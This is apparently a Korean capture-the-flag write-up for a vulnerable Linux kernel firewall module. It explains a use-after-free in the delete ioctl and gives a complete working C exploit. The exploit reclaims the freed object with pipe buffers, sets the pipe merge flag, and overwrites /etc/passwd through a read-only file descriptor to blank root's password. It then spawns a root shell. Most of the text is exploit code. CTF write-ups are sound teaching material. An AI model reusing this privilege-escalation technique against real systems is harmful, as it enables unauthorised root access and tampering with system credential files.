throughthewall
취약점 분석
모듈은 /dev/firewall에 네 개의 ioctl을 제공한다. 규칙 객체와 EDIT/SHOW 요청 구조체는 다음과 같다.
struct firewall_rule {
uint32_t src_ip; // +0x000
uint32_t dst_ip; // +0x004
uint16_t port; // +0x008
uint16_t action; // +0x00a
char description[0x3f4]; // +0x00c
}; // 0x400
struct fw_rw_req {
uint32_t idx;
uint32_t pad;
uint64_t offset;
uint64_t size;
char data[0x400];
}; // 0x4181. FW_DEL의 Use-After-Free
firewall_ioctl()의 FW_DEL 분기는 rules[idx]를 해제한 뒤 포인터를 NULL로 초기화하지 않는다. 이후 FW_EDIT과 FW_SHOW는 포인터가 NULL인지 여부만 검사하므로 해제된 객체를 계속 읽고 쓸 수 있다. 같은 인덱스를 다시 삭제하면 double-free도 발생한다.
// Ghidra 디컴파일 결과를 정리한 코드
if (cmd == FW_DEL) {
idx = (uint32_t)arg;
if (idx > 0xff)
return -EINVAL;
if (rules[idx] == NULL)
return -ENOENT;
printk("fw_del_rule: idx=%d, ptr=%px", idx, rules[idx]);
kfree(rules[idx]);
printk("fw_del_rule: after kfree, ptr=%px", rules[idx]);
// rules[idx] = NULL;이 없다.
return 0;
}규칙의 크기는 0x400이므로 대상 환경에서 kmalloc-1k에 할당된다. 해제된 자리를 같은 캐시의 다른 커널 객체로 재할당하면 해당 객체에 대한 read/write primitive를 얻을 수 있다.
Exploit 과정
Step 1: 해제된 규칙을 pipe_buffer 배열로 재할당
기본 파이프 링은 struct pipe_buffer 16개로 구성된다. x86-64에서 각 원소는 0x28바이트이므로 배열의 요청 크기는 0x280이고, 대상 환경에서 규칙과 같은 kmalloc-1k에 할당된다.
SLUB freelist는 CPU별로 관리되므로 먼저 CPU 0에 고정한다. 0x400 크기의 규칙을 생성하고 삭제한 직후 파이프를 생성하여 해제된 자리를 파이프 링으로 재할당한다. 첫 번째 write()는 슬롯 0에 익명 파이프 페이지를 등록한다.
important("happy hacking!");
pin_cpu(0);
int fd = open("/dev/firewall", O_RDWR);
if (fd < 0)
{
perror("open");
return -1;
}
info("/dev/firewall opened: %d", fd);
int ret = fw_add(fd, "1.1.1.1 2.2.2.2 80 0 test");
info("fw_add returned: %d", ret);
fw_del(fd, 0);
info("fw_del %d called", ret);
int pipefd[2];
pipe(pipefd);
write(pipefd[1], "AAAA", 4);
info("pipe buffer reclaimed");Step 2: /etc/passwd의 page-cache 버퍼 생성
/etc/passwd를 읽기 전용으로 열고 0번 오프셋의 1바이트를 파이프로 splice()한다. 슬롯 0은 이미 사용 중이므로 파일 페이지를 가리키는 page_cache_pipe_buf_ops 버퍼가 슬롯 1에 생성된다.
int passwd_fd = open("/etc/passwd", O_RDONLY);
if (passwd_fd < 0)
{
perror("open /etc/passwd");
return -1;
}
info("/etc/passwd opened: %d", passwd_fd);
off_t offset = 0;
ret = splice(passwd_fd, &offset, pipefd[1], 0, 1, 0);
info("splice returned: %d", ret);
char buf[0x400] = {0};
fw_show(fd, 0, 0, sizeof(buf), buf);
hexdump(buf, 0x50);struct pipe_buffer의 레이아웃은 다음과 같다.
struct pipe_buffer {
struct page *page; // +0x00
unsigned int offset; // +0x08
unsigned int len; // +0x0c
const struct pipe_buf_operations *ops; // +0x10
unsigned int flags; // +0x18
unsigned long private; // +0x20
}; // 0x28Step 3: PIPE_BUF_FLAG_CAN_MERGE 설정
슬롯 1은 배열 기준 0x28에서 시작하고 flags는 원소 기준 0x18에 있다. 따라서 UAF 포인터 기준 0x40을 0x10으로 변경한다.
fw_edit(fd, 0, 0x28 + 0x18, 1, "\x10");
memset(buf, 0, sizeof(buf));
fw_show(fd, 0, 0, sizeof(buf), buf);
hexdump(buf, 0x50);
info("pipe_buffer's flags modified to PIPE_BUF_FLAG_CAN_MERGE (0x10)");이 플래그가 설정되면 다음 파이프 쓰기가 마지막 pipe_buffer에 병합된다. 마지막 버퍼는 /etc/passwd의 page cache를 가리키므로 읽기 전용 파일 디스크립터만으로 파일 내용을 변경할 수 있다.
Step 4: /etc/passwd 변조 및 root 셸 실행
파일 오프셋 0은 직접 덮을 수 없으므로 첫 글자 r은 유지한다. splice()가 등록한 1바이트 뒤에 oot::...를 병합하여 root 계정의 비밀번호 필드를 비운다. 이후 su로 root 셸을 실행한다.
char *new_passwd = "oot::0:0:root:/root:/bin/sh\n";
write(pipefd[1], new_passwd, strlen(new_passwd));
info("passwd updated");
system("su -c '/bin/sh'");Exploit Code
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#define FW_ADD 0x41004601
#define FW_DEL 0x40044602
#define FW_EDIT 0x44184603
#define FW_SHOW 0x84184604
struct fw_rw_req
{
uint32_t idx;
uint32_t pad;
uint64_t offset;
uint64_t size;
char data[1024];
};
int fw_add(int fd, char *rule)
{
char buf[0x100] = {0};
strncpy(buf, rule, sizeof(buf) - 1);
int ret = ioctl(fd, FW_ADD, buf);
return ret;
}
void fw_del(int fd, uint32_t idx)
{
ioctl(fd, FW_DEL, idx);
}
void fw_edit(int fd, uint32_t idx, uint64_t offset, uint64_t size, char *data)
{
struct fw_rw_req req;
req.idx = idx;
req.offset = offset;
req.size = size;
memcpy(req.data, data, size);
ioctl(fd, FW_EDIT, &req);
}
void fw_show(int fd, uint32_t idx, uint64_t offset, uint64_t size, char *data)
{
struct fw_rw_req req;
req.idx = idx;
req.offset = offset;
req.size = size;
ioctl(fd, FW_SHOW, &req);
memcpy(data, req.data, size);
}
int main()
{
important("happy hacking!");
pin_cpu(0);
// Open the firewall device
int fd = open("/dev/firewall", O_RDWR);
if (fd < 0)
{
perror("open");
return -1;
}
info("/dev/firewall opened: %d", fd);
// Add and delete firewall rule
int ret = fw_add(fd, "1.1.1.1 2.2.2.2 80 0 test");
info("fw_add returned: %d", ret);
fw_del(fd, 0);
info("fw_del %d called", ret);
// Reclaim the pipe buffer
int pipefd[2];
pipe(pipefd);
write(pipefd[1], "AAAA", 4);
info("pipe buffer reclaimed");
// splice the pipe buffer to the /etc/passwd file
int passwd_fd = open("/etc/passwd", O_RDONLY);
if (passwd_fd < 0)
{
perror("open /etc/passwd");
return -1;
}
info("/etc/passwd opened: %d", passwd_fd);
off_t offset = 0;
ret = splice(passwd_fd, &offset, pipefd[1], 0, 1, 0);
info("splice returned: %d", ret);
char buf[0x400] = {0};
fw_show(fd, 0, 0, sizeof(buf), buf);
hexdump(buf, 0x50);
// modify the pipefd[1]'s pipe_buffer's flags to PIPE_BUF_FLAG_CAN_MERGE (0x10)
fw_edit(fd, 0, 0x28 + 0x18, 1, "\x10");
memset(buf, 0, sizeof(buf));
fw_show(fd, 0, 0, sizeof(buf), buf);
hexdump(buf, 0x50);
info("pipe_buffer's flags modified to PIPE_BUF_FLAG_CAN_MERGE (0x10)");
// overwrite the /etc/passwd file's content with "root::0:0:root:/root:/bin/bash\n"
char *new_passwd = "oot::0:0:root:/root:/bin/sh\n";
write(pipefd[1], new_passwd, strlen(new_passwd));
info("passwd updated");
// spawn a root shell
system("su -c '/bin/sh'");
return 0;
}